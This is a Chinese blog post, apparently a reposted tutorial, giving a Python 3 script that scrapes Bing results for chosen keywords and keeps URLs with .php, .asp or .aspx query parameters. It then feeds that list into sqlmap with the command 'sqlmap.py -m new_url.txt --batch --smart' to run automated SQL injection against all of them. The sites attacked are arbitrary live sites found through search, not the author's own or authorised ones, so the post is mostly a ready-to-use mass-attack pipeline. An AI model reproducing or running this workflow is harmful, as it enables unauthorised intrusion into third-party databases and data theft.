1. 程式人生 > >批量找註入 python3+sqlmap結合

批量找註入 python3+sqlmap結合

批量 utf lib contents agent erer 結束 map pre

註入一直都是用sqlmap 導致本來就不怎麽精通的手工註入現在就忘的一幹二凈
想實戰練習 卻一時又找不到有註入的網站 於是便有了這篇文章

想找個批量獲取域名鏈接的工具 但都是只是獲取域名而已 都沒獲取後面的參數
於是自己寫了個
只獲取bing前10頁的結果 輸入q 結束循環 並開始整理數據

#!/usr/bin/env python
# -*- conding:utf-8 -*- 
import re
import urllib.request,urllib.parse

logo = ‘‘‘
  _______    ___     ___    _       
 |__   __|  / _ \   / _ \  | |      
    | |    | | | | | | | | | |  ___ 
    | |    | | | | | | | | | | / __|
    | |    | |_| | | |_| | | | \__ \    |_|     \___/   \___/  |_| |___/

‘‘‘
print(logo)
def Obtain_url(): #爬抓bing獲取url
    page = [‘‘, ‘&first=11&FORM=PERE‘, ‘&first=21&FORM=PERE1‘, ‘&first=31&FORM=PERE2‘,
            ‘&first=41&FORM=PERE3‘, ‘&first=51&FORM=PERE4‘, ‘&first=61&FORM=PERE5‘,
            ‘&first=71&FORM=PERE6‘, ‘&first=81&FORM=PERE7‘, ‘&first=91&FORM=PERE8‘]
    headers = {
        ‘User-Agent‘: r‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ‘
                      r‘Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3‘,
        ‘Referer‘: r‘http://www.baidu.com‘,
        ‘Connection‘: ‘keep-alive‘
    }
    while True:  #一直循環輸入關鍵字
        crux = input(‘請輸入關鍵字:‘)
        if crux == ‘q‘:  #判斷關鍵字是否為q 是就結束循環
            break
        crux = urllib.parse.quote(crux)   #解決編碼報錯問題
        with open(‘url.txt‘, ‘a‘, encoding=‘utf-8‘) as f:
            for i in page:
                content = urllib.request.Request(‘https://cn.bing.com/search?q=‘+crux+i,headers=headers)
                contents = urllib.request.urlopen(content).read().decode(‘utf-8‘)
                res = re.compile(r‘<h2><a target="_blank" href="(.*?)"‘)
                data = res.findall(contents)
                for i in data:
                    print(i)
                    f.write(i+‘\n‘)

def url():  #處理bing爬抓下來的鏈接
    url = []
    with open(‘url.txt‘,‘r‘,encoding=‘utf-8‘) as f:  #讀取文件內容到列表裏
        for i in f.readlines():
            url.append(i)
    data = list(set(url))  #去重url列表
    data = sorted(data)    #排列順序
    with open(‘new_url.txt‘,‘a‘,encoding=‘utf-8‘) as f:  #判斷url是否有.php? .asp? .aspx?
        for i in data:
            res = re.compile(r‘\.php\?‘)
            datas = res.findall(i)
            if datas != []:
                f.write(i)
            else:
                res = re.compile(r‘\.asp\?‘)
                datas = res.findall(i)
                if datas != []:
                    f.write(i)
                else:
                    res = re.compile(r‘\.aspx\?‘)
                    datas = res.findall(i)
                    if datas != []:
                        f.write(i)
Obtain_url()
url()

技術分享圖片


輸入q
結束循環並開始處理數據

技術分享圖片

url.txt 是爬抓的鏈接數據
new_url.txt 是處理後的數據

復制 new_url.txt 到sqlmap根目錄

sqlmap.py -m new_url.txt --batch --smart

-m是用new_url.txt裏面的鏈接批量註入 --batch自動選擇 --smart快速註入

註入的結果在C:\Users\Administrator\.sqlmap\output 文件下
類似results-04242018_0624pm.csv的文件中

技術分享圖片

批量找註入 python3+sqlmap結合